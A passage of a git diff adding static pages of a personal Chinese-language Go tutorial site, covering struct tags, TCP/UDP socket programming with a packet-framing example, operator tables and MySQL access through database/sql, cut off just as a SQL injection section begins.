err = json.Unmarshal([]byte(str), c1)
if err != nil {
fmt.Println("json unmarshal failed!")
return
}
fmt.Printf("%#v\n", c1)
}
+

结构体标签(Tag)​

+

Tag是结构体的元信息,可以在运行的时候通过反射的机制读取出来。 Tag在结构体字段的后方定义,由一对反引号包裹起来,具体的格式如下:

+
`key1:"value1" key2:"value2"`
+

结构体tag由一个或多个键值对组成。键与值使用冒号分隔,值用双引号括起来。同一个结构体字段可以设置多个键值对tag,不同的键值对之间使用空格分隔。

+

注意事项: 为结构体编写Tag时,必须严格遵守键值对的规则。结构体标签的解析代码的容错能力很差,一旦格式写错,编译和运行时都不会提示任何错误,通过反射也无法正确取值。例如不要在key和value之间添加空格。

+

例如我们为Student结构体的每个字段定义json序列化时使用的Tag:

+
//Student 学生
type Student struct {
ID int `json:"id"` //通过指定tag实现json序列化该字段时的key
Gender string //json序列化是默认使用字段名作为key
name string //私有不能被json包访问
}

func main() {
s1 := Student{
ID: 1,
Gender: "男",
name: "沙河娜扎",
}
data, err := json.Marshal(s1)
if err != nil {
fmt.Println("json marshal failed!")
return
}
fmt.Printf("json str:%s\n", data) //json str:{"id":1,"Gender":"男"}
}
+

结构体和方法补充知识点​

+

因为slice和map这两种数据类型都包含了指向底层数据的指针,因此我们在需要复制它们时要特别注意。我们来看下面的例子:

+
type Person struct {
name string
age int8
dreams []string
}

func (p *Person) SetDreams(dreams []string) {
p.dreams = dreams
}

func main() {
p1 := Person{name: "小王子", age: 18}
data := []string{"吃饭", "睡觉", "打豆豆"}
p1.SetDreams(data)

// 你真的想要修改 p1.dreams 吗?
data[1] = "不睡觉"
fmt.Println(p1.dreams) // ?
}
+

正确的做法是在方法中使用传入的slice的拷贝进行结构体赋值。

+
func (p *Person) SetDreams(dreams []string) {
p.dreams = make([]string, len(dreams))
copy(p.dreams, dreams)
}
+

同样的问题也存在于返回值slice和map的情况,在实际编码过程中一定要注意这个问题。

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-网络编程/index.html b/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-网络编程/index.html new file mode 100644 index 0000000..fad68e7 --- /dev/null +++ b/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-网络编程/index.html @@ -0,0 +1,107 @@ + + + + + +Go语言基础之网络编程 | wjlin0 + + + + + + + +

Go语言基础之网络编程

+

互联网协议介绍​

+

互联网的核心是一系列协议,总称为”互联网协议”(Internet Protocol Suite),正是这一些协议规定了电脑如何连接和组网。我们理解了这些协议,就理解了互联网的原理。由于这些协议太过庞大和复杂,没有办法在这里一概而全,只能介绍一下我们日常开发中接触较多的几个协议。

+

互联网分层模型​

+

互联网的逻辑实现被分为好几层。每一层都有自己的功能,就像建筑物一样,每一层都靠下一层支持。用户接触到的只是最上面的那一层,根本不会感觉到下面的几层。要理解互联网就需要自下而上理解每一层的实现的功能。osi七层模型如上图所示,互联网按照不同的模型划分会有不用的分层,但是不论按照什么模型去划分,越往上的层越靠近用户,越往下的层越靠近硬件。在软件开发中我们使用最多的是上图中将互联网划分为五个分层的模型。

+

接下来我们一层一层的自底向上介绍一下每一层。

+

物理层​

+

我们的电脑要与外界互联网通信,需要先把电脑连接网络,我们可以用双绞线、光纤、无线电波等方式。这就叫做”实物理层”,它就是把电脑连接起来的物理手段。它主要规定了网络的一些电气特性,作用是负责传送0和1的电信号。

+

数据链路层​

+

单纯的0和1没有任何意义,所以我们使用者会为其赋予一些特定的含义,规定解读电信号的方式:例如:多少个电信号算一组?每个信号位有何意义?这就是”数据链接层”的功能,它在”物理层”的上方,确定了物理层传输的0和1的分组方式及代表的意义。早期的时候,每家公司都有自己的电信号分组方式。逐渐地,一种叫做”以太网”(Ethernet)的协议,占据了主导地位。

+

以太网规定,一组电信号构成一个数据包,叫做”帧”(Frame)。每一帧分成两个部分:标头(Head)和数据(Data)。其中”标头”包含数据包的一些说明项,比如发送者、接受者、数据类型等等;”数据”则是数据包的具体内容。”标头”的长度,固定为18字节。”数据”的长度,最短为46字节,最长为1500字节。因此,整个”帧”最短为64字节,最长为1518字节。如果数据很长,就必须分割成多个帧进行发送。

+

那么,发送者和接受者是如何标识呢?以太网规定,连入网络的所有设备都必须具有”网卡”接口。数据包必须是从一块网卡,传送到另一块网卡。网卡的地址,就是数据包的发送地址和接收地址,这叫做MAC地址。每块网卡出厂的时候,都有一个全世界独一无二的MAC地址,长度是48个二进制位,通常用12个十六进制数表示。前6个十六进制数是厂商编号,后6个是该厂商的网卡流水号。有了MAC地址,就可以定位网卡和数据包的路径了。

+

我们会通过ARP协议来获取接受方的MAC地址,有了MAC地址之后,如何把数据准确的发送给接收方呢?其实这里以太网采用了一种很”原始”的方式,它不是把数据包准确送到接收方,而是向本网络内所有计算机都发送,让每台计算机读取这个包的”标头”,找到接收方的MAC地址,然后与自身的MAC地址相比较,如果两者相同,就接受这个包,做进一步处理,否则就丢弃这个包。这种发送方式就叫做”广播”(broadcasting)。

+

网络层​

+

按照以太网协议的规则我们可以依靠MAC地址来向外发送数据。理论上依靠MAC地址,你电脑的网卡就可以找到身在世界另一个角落的某台电脑的网卡了,但是这种做法有一个重大缺陷就是以太网采用广播方式发送数据包,所有成员人手一”包”,不仅效率低,而且发送的数据只能局限在发送者所在的子网络。也就是说如果两台计算机不在同一个子网络,广播是传不过去的。这种设计是合理且必要的,因为如果互联网上每一台计算机都会收到互联网上收发的所有数据包,那是不现实的。

+

因此,必须找到一种方法区分哪些MAC地址属于同一个子网络,哪些不是。如果是同一个子网络,就采用广播方式发送,否则就采用”路由”方式发送。这就导致了”网络层”的诞生。它的作用是引进一套新的地址,使得我们能够区分不同的计算机是否属于同一个子网络。这套地址就叫做”网络地址”,简称”网址”。

+

“网络层”出现以后,每台计算机有了两种地址,一种是MAC地址,另一种是网络地址。两种地址之间没有任何联系,MAC地址是绑定在网卡上的,网络地址则是网络管理员分配的。网络地址帮助我们确定计算机所在的子网络,MAC地址则将数据包送到该子网络中的目标网卡。因此,从逻辑上可以推断,必定是先处理网络地址,然后再处理MAC地址。

+

规定网络地址的协议,叫做IP协议。它所定义的地址,就被称为IP地址。目前,广泛采用的是IP协议第四版,简称IPv4。IPv4这个版本规定,网络地址由32个二进制位组成,我们通常习惯用分成四段的十进制数表示IP地址,从0.0.0.0一直到255.255.255.255。

+

根据IP协议发送的数据,就叫做IP数据包。IP数据包也分为”标头”和”数据”两个部分:”标头”部分主要包括版本、长度、IP地址等信息,”数据”部分则是IP数据包的具体内容。IP数据包的”标头”部分的长度为20到60字节,整个数据包的总长度最大为65535字节。

+

传输层​

+

有了MAC地址和IP地址,我们已经可以在互联网上任意两台主机上建立通信。但问题是同一台主机上会有许多程序都需要用网络收发数据,比如QQ和浏览器这两个程序都需要连接互联网并收发数据,我们如何区分某个数据包到底是归哪个程序的呢?也就是说,我们还需要一个参数,表示这个数据包到底供哪个程序(进程)使用。这个参数就叫做”端口”(port),它其实是每一个使用网卡的程序的编号。每个数据包都发到主机的特定端口,所以不同的程序就能取到自己所需要的数据。

+

“端口”是0到65535之间的一个整数,正好16个二进制位。0到1023的端口被系统占用,用户只能选用大于1023的端口。有了IP和端口我们就能实现唯一确定互联网上一个程序,进而实现网络间的程序通信。

+

我们必须在数据包中加入端口信息,这就需要新的协议。最简单的实现叫做UDP协议,它的格式几乎就是在数据前面,加上端口号。UDP数据包,也是由”标头”和”数据”两部分组成:”标头”部分主要定义了发出端口和接收端口,”数据”部分就是具体的内容。UDP数据包非常简单,”标头”部分一共只有8个字节,总长度不超过65,535字节,正好放进一个IP数据包。

+

UDP协议的优点是比较简单,容易实现,但是缺点是可靠性较差,一旦数据包发出,无法知道对方是否收到。为了解决这个问题,提高网络可靠性,TCP协议就诞生了。TCP协议能够确保数据不会遗失。它的缺点是过程复杂、实现困难、消耗较多的资源。TCP数据包没有长度限制,理论上可以无限长,但是为了保证网络的效率,通常TCP数据包的长度不会超过IP数据包的长度,以确保单个TCP数据包不必再分割。

+

应用层​

+

应用程序收到”传输层”的数据,接下来就要对数据进行解包。由于互联网是开放架构,数据来源五花八门,必须事先规定好通信的数据格式,否则接收方根本无法获得真正发送的数据内容。”应用层”的作用就是规定应用程序使用的数据格式,例如我们TCP协议之上常见的Email、HTTP、FTP等协议,这些协议就组成了互联网协议的应用层。

+

如下图所示,发送方的HTTP数据经过互联网的传输过程中会依次添加各层协议的标头信息,接收方收到数据包之后再依次根据协议解包得到数据。

+

HTTP数据传输图解

+

socket编程​

+

Socket是BSD UNIX的进程通信机制,通常也称作”套接字”,用于描述IP地址和端口,是一个通信链的句柄。Socket可以理解为TCP/IP网络的API,它定义了许多函数或例程,程序员可以用它们来开发TCP/IP网络上的应用程序。电脑上运行的应用程序通常通过”套接字”向网络发出请求或者应答网络请求。

+

socket图解​

+

Socket是应用层与TCP/IP协议族通信的中间软件抽象层。在设计模式中,Socket其实就是一个门面模式,它把复杂的TCP/IP协议族隐藏在Socket后面,对用户来说只需要调用Socket规定的相关函数,让Socket去组织符合指定的协议数据然后进行通信。

+

socket图解

+

Go语言实现TCP通信​

+

TCP协议​

+

TCP/IP(Transmission Control Protocol/Internet Protocol) 即传输控制协议/网间协议,是一种面向连接(连接导向)的、可靠的、基于字节流的传输层(Transport layer)通信协议,因为是面向连接的协议,数据像水流一样传输,会存在黏包问题。

+

TCP服务端​

+

一个TCP服务端可以同时连接很多个客户端,例如世界各地的用户使用自己电脑上的浏览器访问淘宝网。因为Go语言中创建多个goroutine实现并发非常方便和高效,所以我们可以每建立一次链接就创建一个goroutine去处理。

+

TCP服务端程序的处理流程:

+
    +
  1. 监听端口
  2. +
  3. 接收客户端请求建立链接
  4. +
  5. 创建goroutine处理链接。
  6. +
+

我们使用Go语言的net包实现的TCP服务端代码如下:

+
// tcp/server/main.go

// TCP server端

// 处理函数
func process(conn net.Conn) {
defer conn.Close() // 关闭连接
for {
reader := bufio.NewReader(conn)
var buf [128]byte
n, err := reader.Read(buf[:]) // 读取数据
if err != nil {
fmt.Println("read from client failed, err:", err)
break
}
recvStr := string(buf[:n])
fmt.Println("收到client端发来的数据:", recvStr)
conn.Write([]byte(recvStr)) // 发送数据
}
}

func main() {
listen, err := net.Listen("tcp", "127.0.0.1:20000")
if err != nil {
fmt.Println("listen failed, err:", err)
return
}
for {
conn, err := listen.Accept() // 建立连接
if err != nil {
fmt.Println("accept failed, err:", err)
continue
}
go process(conn) // 启动一个goroutine处理连接
}
}
+

将上面的代码保存之后编译成server或server.exe可执行文件。

+

TCP客户端​

+

一个TCP客户端进行TCP通信的流程如下:

+
    +
  1. 建立与服务端的链接
  2. +
  3. 进行数据收发
  4. +
  5. 关闭链接
  6. +
+

使用Go语言的net包实现的TCP客户端代码如下:

+
// tcp/client/main.go

// 客户端
func main() {
conn, err := net.Dial("tcp", "127.0.0.1:20000")
if err != nil {
fmt.Println("err :", err)
return
}
defer conn.Close() // 关闭连接
inputReader := bufio.NewReader(os.Stdin)
for {
input, _ := inputReader.ReadString('\n') // 读取用户输入
inputInfo := strings.Trim(input, "\r\n")
if strings.ToUpper(inputInfo) == "Q" { // 如果输入q就退出
return
}
_, err = conn.Write([]byte(inputInfo)) // 发送数据
if err != nil {
return
}
buf := [512]byte{}
n, err := conn.Read(buf[:])
if err != nil {
fmt.Println("recv failed, err:", err)
return
}
fmt.Println(string(buf[:n]))
}
}
+

将上面的代码编译成client或client.exe可执行文件,先启动server端再启动client端,在client端输入任意内容回车之后就能够在server端看到client端发送的数据,从而实现TCP通信。

+

TCP黏包​

+

黏包示例​

+

服务端代码如下:

+
// socket_stick/server/main.go

func process(conn net.Conn) {
defer conn.Close()
reader := bufio.NewReader(conn)
var buf [1024]byte
for {
n, err := reader.Read(buf[:])
if err == io.EOF {
break
}
if err != nil {
fmt.Println("read from client failed, err:", err)
break
}
recvStr := string(buf[:n])
fmt.Println("收到client发来的数据:", recvStr)
}
}

func main() {

listen, err := net.Listen("tcp", "127.0.0.1:30000")
if err != nil {
fmt.Println("listen failed, err:", err)
return
}
defer listen.Close()
for {
conn, err := listen.Accept()
if err != nil {
fmt.Println("accept failed, err:", err)
continue
}
go process(conn)
}
}
+

客户端代码如下:

+
// socket_stick/client/main.go

func main() {
conn, err := net.Dial("tcp", "127.0.0.1:30000")
if err != nil {
fmt.Println("dial failed, err", err)
return
}
defer conn.Close()
for i := 0; i < 20; i++ {
msg := `Hello, Hello. How are you?`
conn.Write([]byte(msg))
}
}
+

将上面的代码保存后,分别编译。先启动服务端再启动客户端,可以看到服务端输出结果如下:

+
收到client发来的数据: Hello, Hello. How are you?Hello, Hello. How are you?Hello, Hello. How are you?Hello, Hello. How are you?Hello, Hello. How are you?
收到client发来的数据: Hello, Hello. How are you?Hello, Hello. How are you?Hello, Hello. How are you?Hello, Hello. How are you?Hello, Hello. How are you?Hello, Hello. How are you?Hello, Hello. How are you?Hello, Hello. How are you?
收到client发来的数据: Hello, Hello. How are you?Hello, Hello. How are you?
收到client发来的数据: Hello, Hello. How are you?Hello, Hello. How are you?Hello, Hello. How are you?
收到client发来的数据: Hello, Hello. How are you?Hello, Hello. How are you?
+

客户端分10次发送的数据,在服务端并没有成功的输出10次,而是多条数据“粘”到了一起。

+

为什么会出现粘包​

+

主要原因就是tcp数据传递模式是流模式,在保持长连接的时候可以进行多次的收和发。

+

“粘包”可发生在发送端也可发生在接收端:

+
    +
  1. 由Nagle算法造成的发送端的粘包:Nagle算法是一种改善网络传输效率的算法。简单来说就是当我们提交一段数据给TCP发送时,TCP并不立刻发送此段数据,而是等待一小段时间看看在等待期间是否还有要发送的数据,若有则会一次把这两段数据发送出去。
  2. +
  3. 接收端接收不及时造成的接收端粘包:TCP会把接收到的数据存在自己的缓冲区中,然后通知应用层取数据。当应用层由于某些原因不能及时的把TCP的数据取出来,就会造成TCP缓冲区中存放了几段数据。
  4. +
+

解决办法​

+

出现”粘包”的关键在于接收方不确定将要传输的数据包的大小,因此我们可以对数据包进行封包和拆包的操作。

+

封包:封包就是给一段数据加上包头,这样一来数据包就分为包头和包体两部分内容了(过滤非法包时封包会加入”包尾”内容)。包头部分的长度是固定的,并且它存储了包体的长度,根据包头长度固定以及包头中含有包体长度的变量就能正确的拆分出一个完整的数据包。

+

我们可以自己定义一个协议,比如数据包的前4个字节为包头,里面存储的是发送的数据的长度。

+
// socket_stick/proto/proto.go
package proto

import (
"bufio"
"bytes"
"encoding/binary"
)

// Encode 将消息编码
func Encode(message string) ([]byte, error) {
// 读取消息的长度,转换成int32类型(占4个字节)
var length = int32(len(message))
var pkg = new(bytes.Buffer)
// 写入消息头
err := binary.Write(pkg, binary.LittleEndian, length)
if err != nil {
return nil, err
}
// 写入消息实体
err = binary.Write(pkg, binary.LittleEndian, []byte(message))
if err != nil {
return nil, err
}
return pkg.Bytes(), nil
}

// Decode 解码消息
func Decode(reader *bufio.Reader) (string, error) {
// 读取消息的长度
lengthByte, _ := reader.Peek(4) // 读取前4个字节的数据
lengthBuff := bytes.NewBuffer(lengthByte)
var length int32
err := binary.Read(lengthBuff, binary.LittleEndian, &length)
if err != nil {
return "", err
}
// Buffered返回缓冲中现有的可读取的字节数。
if int32(reader.Buffered()) < length+4 {
return "", err
}

// 读取真正的消息数据
pack := make([]byte, int(4+length))
_, err = reader.Read(pack)
if err != nil {
return "", err
}
return string(pack[4:]), nil
}
+

接下来在服务端和客户端分别使用上面定义的proto包的Decode和Encode函数处理数据。

+

服务端代码如下:

+
// socket_stick/server2/main.go

func process(conn net.Conn) {
defer conn.Close()
reader := bufio.NewReader(conn)
for {
msg, err := proto.Decode(reader)
if err == io.EOF {
return
}
if err != nil {
fmt.Println("decode msg failed, err:", err)
return
}
fmt.Println("收到client发来的数据:", msg)
}
}

func main() {

listen, err := net.Listen("tcp", "127.0.0.1:30000")
if err != nil {
fmt.Println("listen failed, err:", err)
return
}
defer listen.Close()
for {
conn, err := listen.Accept()
if err != nil {
fmt.Println("accept failed, err:", err)
continue
}
go process(conn)
}
}
+

客户端代码如下:

+
// socket_stick/client2/main.go

func main() {
conn, err := net.Dial("tcp", "127.0.0.1:30000")
if err != nil {
fmt.Println("dial failed, err", err)
return
}
defer conn.Close()
for i := 0; i < 20; i++ {
msg := `Hello, Hello. How are you?`
data, err := proto.Encode(msg)
if err != nil {
fmt.Println("encode msg failed, err:", err)
return
}
conn.Write(data)
}
}
+

Go语言实现UDP通信​

+

UDP协议​

+

UDP协议(User Datagram Protocol)中文名称是用户数据报协议,是OSI(Open System Interconnection,开放式系统互联)参考模型中一种无连接的传输层协议,不需要建立连接就能直接进行数据发送和接收,属于不可靠的、没有时序的通信,但是UDP协议的实时性比较好,通常用于视频直播相关领域。

+

UDP服务端​

+

使用Go语言的net包实现的UDP服务端代码如下:

+
// UDP/server/main.go

// UDP server端
func main() {
listen, err := net.ListenUDP("udp", &net.UDPAddr{
IP: net.IPv4(0, 0, 0, 0),
Port: 30000,
})
if err != nil {
fmt.Println("listen failed, err:", err)
return
}
defer listen.Close()
for {
var data [1024]byte
n, addr, err := listen.ReadFromUDP(data[:]) // 接收数据
if err != nil {
fmt.Println("read udp failed, err:", err)
continue
}
fmt.Printf("data:%v addr:%v count:%v\n", string(data[:n]), addr, n)
_, err = listen.WriteToUDP(data[:n], addr) // 发送数据
if err != nil {
fmt.Println("write to udp failed, err:", err)
continue
}
}
}
+

UDP客户端​

+

使用Go语言的net包实现的UDP客户端代码如下:

+
// UDP 客户端
func main() {
socket, err := net.DialUDP("udp", nil, &net.UDPAddr{
IP: net.IPv4(0, 0, 0, 0),
Port: 30000,
})
if err != nil {
fmt.Println("连接服务端失败,err:", err)
return
}
defer socket.Close()
sendData := []byte("Hello server")
_, err = socket.Write(sendData) // 发送数据
if err != nil {
fmt.Println("发送数据失败,err:", err)
return
}
data := make([]byte, 4096)
n, remoteAddr, err := socket.ReadFromUDP(data) // 接收数据
if err != nil {
fmt.Println("接收数据失败,err:", err)
return
}
fmt.Printf("recv:%v addr:%v count:%v\n", string(data[:n]), remoteAddr, n)
}
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-运算符/index.html b/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-运算符/index.html new file mode 100644 index 0000000..1fc01ae --- /dev/null +++ b/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-运算符/index.html @@ -0,0 +1,200 @@ + + + + + +GoLang-运算符 | wjlin0 + + + + + + + +

GoLang-运算符

作者修订时间
wjlin02025-10-14 23:58:22
+
    +
  1. 算术运算符
  2. +
  3. 关系运算符
  4. +
  5. 逻辑运算符
  6. +
  7. 位运算符
  8. +
  9. 赋值运算符
  10. +
+

算术运算符​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
运算符描述
+相加
-相减
*相乘
/相除
%求余
+

注意: ++(自增)和--(自减)在Go语言中是单独的语句,并不是运算符。

+

关系运算符​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
运算符描述
==检查两个值是否相等,如果相等返回 True 否则返回 False。
!=检查两个值是否不相等,如果不相等返回 True 否则返回 False。
>检查左边值是否大于右边值,如果是返回 True 否则返回 False。
>=检查左边值是否大于等于右边值,如果是返回 True 否则返回 False。
<检查左边值是否小于右边值,如果是返回 True 否则返回 False。
<=检查左边值是否小于等于右边值,如果是返回 True 否则返回 False。
+

逻辑运算符​

+ + + + + + + + + + + + + + + + + + + + + +
运算符描述
&&逻辑 AND 运算符。 如果两边的操作数都是 True,则为 True,否则为 False。
||逻辑 OR 运算符。 如果两边的操作数有一个 True,则为 True,否则为 False。
!逻辑 NOT 运算符。 如果条件为 True,则为 False,否则为 True。
+

位运算符​

+

位运算符对整数在内存中的二进制位进行操作。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
运算符描述
&参与运算的两数各对应的二进位相与。 (两位均为1才为1)
|参与运算的两数各对应的二进位相或。 (两位有一个为1就为1)
^参与运算的两数各对应的二进位相异或,当两对应的二进位相异时,结果为1。 (两位不一样则为1)
<<左移n位就是乘以2的n次方。 a<<b是把a的各二进位全部左移b位,高位丢弃,低位补0。
>>右移n位就是除以2的n次方。 “a>>b”是把a的各二进位全部右移b位。
+

赋值运算符​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
运算符描述
=简单的赋值运算符,将一个表达式的值赋给一个左值
+=相加后再赋值
-=相减后再赋值
*=相乘后再赋值
/=相除后再赋值
%=求余后再赋值
<<=左移后赋值
>>=右移后赋值
&=按位与后赋值
|=按位或后赋值
^=按位异或后赋值
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/语言知识/Go/Go基础编程/Golang-操作MySQL/index.html b/en/docs/个人知识库/语言知识/Go/Go基础编程/Golang-操作MySQL/index.html new file mode 100644 index 0000000..b269357 --- /dev/null +++ b/en/docs/个人知识库/语言知识/Go/Go基础编程/Golang-操作MySQL/index.html @@ -0,0 +1,174 @@ + + + + + +Golang-操作MySQL | wjlin0 + + + + + + + +

Golang-操作MySQL

作者修订时间
wjlin02025-10-14 23:58:22
+

Go语言中的database/sql包提供了保证SQL或类SQL数据库的泛用接口,并不提供具体的数据库驱动。使用database/sql包时必须注入(至少)一个数据库驱动。

+

我们常用的数据库基本上都有完整的第三方实现。例如:MySQL驱动

+

下载依赖​

+
go get -u github.com/go-sql-driver/mysql
+

使用MySQL驱动​

+
func Open(driverName, dataSourceName string) (*DB, error)
+

Open打开一个dirverName指定的数据库,dataSourceName指定数据源,一般至少包括数据库文件名和其它连接必要的信息。

+
import (
"database/sql"

_ "github.com/go-sql-driver/mysql"
)

func main() {
// DSN:Data Source Name
dsn := "user:password@tcp(127.0.0.1:3306)/dbname"
db, err := sql.Open("mysql", dsn)
if err != nil {
panic(err)
}
defer db.Close() // 注意这行代码要写在上面err判断的下面
}
+

思考题: 为什么上面代码中的defer db.Close()语句不应该写在if err != nil的前面呢?

+

初始化连接​

+

Open函数可能只是验证其参数格式是否正确,实际上并不创建与数据库的连接。如果要检查数据源的名称是否真实有效,应该调用Ping方法。

+

返回的DB对象可以安全地被多个goroutine并发使用,并且维护其自己的空闲连接池。因此,Open函数应该仅被调用一次,很少需要关闭这个DB对象。

+

接下来,我们定义一个全局变量db,用来保存数据库连接对象。将上面的示例代码拆分出一个独立的initDB函数,只需要在程序启动时调用一次该函数完成全局变量db的初始化,其他函数中就可以直接使用全局变量db了。(注意下方的注意)

+
// 定义一个全局对象db
var db *sql.DB

// 定义一个初始化数据库的函数
func initDB() (err error) {
// DSN:Data Source Name
dsn := "user:password@tcp(127.0.0.1:3306)/sql_test?charset=utf8mb4&parseTime=True"
// 不会校验账号密码是否正确
// 注意!!!这里不要使用:=,我们是给全局变量赋值,然后在main函数中使用全局变量db
db, err = sql.Open("mysql", dsn)
if err != nil {
return err
}
// 尝试与数据库建立连接(校验dsn是否正确)
err = db.Ping()
if err != nil {
return err
}
return nil
}

func main() {
err := initDB() // 调用输出化数据库的函数
if err != nil {
fmt.Printf("init db failed,err:%v\n", err)
return
}
}
+

其中sql.DB是表示连接的数据库对象(结构体实例),它保存了连接数据库相关的所有信息。它内部维护着一个具有零到多个底层连接的连接池,它可以安全地被多个goroutine同时使用。

+

SetMaxOpenConns​

+
func (db *DB) SetMaxOpenConns(n int)
+

SetMaxOpenConns设置与数据库建立连接的最大数目。 如果n大于0且小于最大闲置连接数,会将最大闲置连接数减小到匹配最大开启连接数的限制。 如果n<=0,不会限制最大开启连接数,默认为0(无限制)。

+

SetMaxIdleConns​

+
func (db *DB) SetMaxIdleConns(n int)
+

SetMaxIdleConns设置连接池中的最大闲置连接数。 如果n大于最大开启连接数,则新的最大闲置连接数会减小到匹配最大开启连接数的限制。 如果n<=0,不会保留闲置连接。

+

CRUD​

+

建库建表​

+

我们先在MySQL中创建一个名为sql_test的数据库

+
CREATE DATABASE sql_test;
+

进入该数据库:

+
use sql_test;
+

执行以下命令创建一张用于测试的数据表:

+
CREATE TABLE `user` (
`id` BIGINT(20) NOT NULL AUTO_INCREMENT,
`name` VARCHAR(20) DEFAULT '',
`age` INT(11) DEFAULT '0',
PRIMARY KEY(`id`)
)ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8mb4;
+

查询​

+

为了方便查询,我们事先定义好一个结构体来存储user表的数据。

+
type user struct {
id int
age int
name string
}
+

单行查询​

+

单行查询db.QueryRow()执行一次查询,并期望返回最多一行结果(即Row)。QueryRow总是返回非nil的值,直到返回值的Scan方法被调用时,才会返回被延迟的错误。(如:未找到结果)

+
func (db *DB) QueryRow(query string, args ...interface{}) *Row
+

具体示例代码:

+
// 查询单条数据示例
func queryRowDemo() {
sqlStr := "select id, name, age from user where id=?"
var u user
// 非常重要:确保QueryRow之后调用Scan方法,否则持有的数据库链接不会被释放
err := db.QueryRow(sqlStr, 1).Scan(&u.id, &u.name, &u.age)
if err != nil {
fmt.Printf("scan failed, err:%v\n", err)
return
}
fmt.Printf("id:%d name:%s age:%d\n", u.id, u.name, u.age)
}
+

多行查询​

+

多行查询db.Query()执行一次查询,返回多行结果(即Rows),一般用于执行select命令。参数args表示query中的占位参数。

+
func (db *DB) Query(query string, args ...interface{}) (*Rows, error)
+

具体示例代码:

+
// 查询多条数据示例
func queryMultiRowDemo() {
sqlStr := "select id, name, age from user where id > ?"
rows, err := db.Query(sqlStr, 0)
if err != nil {
fmt.Printf("query failed, err:%v\n", err)
return
}
// 非常重要:关闭rows释放持有的数据库链接
defer rows.Close()

// 循环读取结果集中的数据
for rows.Next() {
var u user
err := rows.Scan(&u.id, &u.name, &u.age)
if err != nil {
fmt.Printf("scan failed, err:%v\n", err)
return
}
fmt.Printf("id:%d name:%s age:%d\n", u.id, u.name, u.age)
}
}
+

插入数据​

+

插入、更新和删除操作都使用Exec方法。

+
func (db *DB) Exec(query string, args ...interface{}) (Result, error)
+

Exec执行一次命令(包括查询、删除、更新、插入等),返回的Result是对已执行的SQL命令的总结。参数args表示query中的占位参数。

+

具体插入数据示例代码如下:

+
// 插入数据
func insertRowDemo() {
sqlStr := "insert into user(name, age) values (?,?)"
ret, err := db.Exec(sqlStr, "王五", 38)
if err != nil {
fmt.Printf("insert failed, err:%v\n", err)
return
}
theID, err := ret.LastInsertId() // 新插入数据的id
if err != nil {
fmt.Printf("get lastinsert ID failed, err:%v\n", err)
return
}
fmt.Printf("insert success, the id is %d.\n", theID)
}
+

更新数据​

+

具体更新数据示例代码如下:

+
// 更新数据
func updateRowDemo() {
sqlStr := "update user set age=? where id = ?"
ret, err := db.Exec(sqlStr, 39, 3)
if err != nil {
fmt.Printf("update failed, err:%v\n", err)
return
}
n, err := ret.RowsAffected() // 操作影响的行数
if err != nil {
fmt.Printf("get RowsAffected failed, err:%v\n", err)
return
}
fmt.Printf("update success, affected rows:%d\n", n)
}
+

删除数据​

+

具体删除数据的示例代码如下:

+
// 删除数据
func deleteRowDemo() {
sqlStr := "delete from user where id = ?"
ret, err := db.Exec(sqlStr, 3)
if err != nil {
fmt.Printf("delete failed, err:%v\n", err)
return
}
n, err := ret.RowsAffected() // 操作影响的行数
if err != nil {
fmt.Printf("get RowsAffected failed, err:%v\n", err)
return
}
fmt.Printf("delete success, affected rows:%d\n", n)
}
+

MySQL预处理​

+

什么是预处理?​

+

普通SQL语句执行过程:

+
    +
  1. 客户端对SQL语句进行占位符替换得到完整的SQL语句。
  2. +
  3. 客户端发送完整SQL语句到MySQL服务端
  4. +
  5. MySQL服务端执行完整的SQL语句并将结果返回给客户端。
  6. +
+

预处理执行过程:

+
    +
  1. 把SQL语句分成两部分,命令部分与数据部分。
  2. +
  3. 先把命令部分发送给MySQL服务端,MySQL服务端进行SQL预处理。
  4. +
  5. 然后把数据部分发送给MySQL服务端,MySQL服务端对SQL语句进行占位符替换。
  6. +
  7. MySQL服务端执行完整的SQL语句并将结果返回给客户端。
  8. +
+

为什么要预处理?​

+
    +
  1. 优化MySQL服务器重复执行SQL的方法,可以提升服务器性能,提前让服务器编译,一次编译多次执行,节省后续编译的成本。
  2. +
  3. 避免SQL注入问题。
  4. +
+

Go实现MySQL预处理​

+

database/sql中使用下面的Prepare方法来实现预处理操作。

+
func (db *DB) Prepare(query string) (*Stmt, error)
+

Prepare方法会先将sql语句发送给MySQL服务端,返回一个准备好的状态用于之后的查询和命令。返回值可以同时执行多个查询和命令。

+

查询操作的预处理示例代码如下:

+
// 预处理查询示例
func prepareQueryDemo() {
sqlStr := "select id, name, age from user where id > ?"
stmt, err := db.Prepare(sqlStr)
if err != nil {
fmt.Printf("prepare failed, err:%v\n", err)
return
}
defer stmt.Close()
rows, err := stmt.Query(0)
if err != nil {
fmt.Printf("query failed, err:%v\n", err)
return
}
defer rows.Close()
// 循环读取结果集中的数据
for rows.Next() {
var u user
err := rows.Scan(&u.id, &u.name, &u.age)
if err != nil {
fmt.Printf("scan failed, err:%v\n", err)
return
}
fmt.Printf("id:%d name:%s age:%d\n", u.id, u.name, u.age)
}
}
+

插入、更新和删除操作的预处理十分类似,这里以插入操作的预处理为例:

+
// 预处理插入示例
func prepareInsertDemo() {
sqlStr := "insert into user(name, age) values (?,?)"
stmt, err := db.Prepare(sqlStr)
if err != nil {
fmt.Printf("prepare failed, err:%v\n", err)
return
}
defer stmt.Close()
_, err = stmt.Exec("小王子", 18)
if err != nil {
fmt.Printf("insert failed, err:%v\n", err)
return
}
_, err = stmt.Exec("沙河娜扎", 18)
if err != nil {
fmt.Printf("insert failed, err:%v\n", err)
return
}
fmt.Println("insert success.")
}
+

SQL注入问题​

+

我们任何时候都不应该自己拼接SQL语句!

+

这里我们演示一个自行拼接SQL语句的示例,编写一个根据name字段查询user表的函数如下:

+
// sql注入示例
